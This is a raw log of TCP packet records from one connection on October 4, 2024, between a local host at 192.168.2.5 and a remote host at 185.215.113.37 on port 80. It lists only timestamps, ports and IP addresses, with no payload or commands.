Oct 4, 2024 05:45:08.265620947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.265635014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.265650988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.265666008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.265682936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.265697956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.265714884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.265727043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.265749931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.265758038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.265769958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.265791893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.265808105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.265822887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.265840054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.265856028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.265887022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.265888929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.265912056 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.265924931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.265939951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.265954018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.265974045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.266001940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.306699991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.306771040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.306853056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.306885004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.306901932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.306936026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.306941032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.306991100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.306992054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.307025909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.307038069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.307070017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.307075977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.307109118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.307122946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.307152033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.307161093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.307204962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.307210922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.307245016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.307257891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.307276964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.307290077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.307320118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.307327032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.307358980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.307374954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.307404995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.307432890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.307465076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.307478905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.307497978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.307511091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.307528019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.307542086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.307559967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.307569027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.307593107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.307609081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.307624102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.307637930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.307657003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.307682037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.307689905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.307708979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.307722092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.307749987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.307754040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.307765007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.307785988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.307796955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.307817936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.307840109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.307849884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.307878971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.307883024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.307913065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.307914972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.307936907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.307948112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.307960033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.307980061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.307992935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.308007002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.308022976 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.308038950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.308049917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.308072090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.308082104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.308106899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.308115005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.308140039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.308150053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.308173895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.308182955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.308217049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.351489067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.351564884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.351599932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.351651907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.351685047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.351716995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.351725101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.351725101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.351725101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.351756096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.351757050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.351757050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.351797104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.351805925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.351844072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.351855993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.351888895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.351897955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.351922989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.351929903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.351960897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.351972103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.352005005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.352011919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.352037907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.352045059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.352077961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.352087975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.352117062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.352128029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.352157116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.352166891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.352200031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.352207899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.352238894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.352248907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.352281094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.352288008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.352312088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.352319956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.352351904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.352351904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.352381945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.352392912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.352420092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.352432966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.352473021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.352480888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.352514029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.352528095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.352551937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.352561951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.352595091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.352602005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.352633953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.352643967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.352684021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.352691889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.352725029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.352734089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.352756023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.352763891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.352788925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.352796078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.352821112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.352828026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.352854013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.352860928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.352886915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.352893114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.352919102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.352925062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.352950096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.352957010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.352982998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.352988958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.353018045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.353024960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.353049994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.353056908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.353081942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.353091002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.353112936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.353116989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.353146076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.353151083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.353178978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.353185892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.353210926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.353219032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.353247881 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.353259087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.353291988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.353308916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.353323936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.353331089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.353355885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.353364944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.353388071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.353394032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.353423119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.353425980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.353460073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.353462934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.353492022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.353499889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.353526115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.353530884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.353558064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.353564978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.353590012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.353595972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.353625059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.353629112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.353658915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.353663921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.353687048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.353698015 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.353718042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.353724003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.353751898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.353758097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.353782892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.353790045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.353816032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.353822947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.353847980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.353853941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.353880882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.353887081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.353913069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.353919983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.353945971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.353955984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.353977919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.353986025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.354015112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.354022980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.354047060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.354055882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.354079008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.354085922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.354106903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.354119062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.354136944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.354141951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.354170084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.354175091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.354202986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.354207993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.354235888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.354242086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.354268074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.354271889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.354300022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.354305983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.354332924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.354337931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.354376078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.395508051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.395597935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.395649910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.395684004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.395715952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.395766020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.395771980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.395771980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.395771980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.395771980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.395798922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.395808935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.395809889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.395832062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.395844936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.395876884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.395880938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.395915031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.395927906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.395946980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.395960093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.395992041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.395997047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.396029949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.396043062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.396063089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.396074057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.396095037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.396106958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.396131039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.396141052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.396162987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.396174908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.396195889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.396207094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.396228075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.396241903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.396260023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.396272898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.396292925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.396306038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.396325111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.396337032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.396358967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.396370888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.396394014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.396404982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.396426916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.396440983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.396461010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.396471977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.396492004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.396503925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.396524906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.396538019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.396558046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.396569014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.396590948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.396603107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.396622896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.396636009 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.396656036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.396667004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.396688938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.396699905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.396724939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.396734953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.396759987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.396770000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.396809101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.439691067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.439735889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.439791918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.439826965 CEST	80	49704	185.215.113.37	192.168.2.5
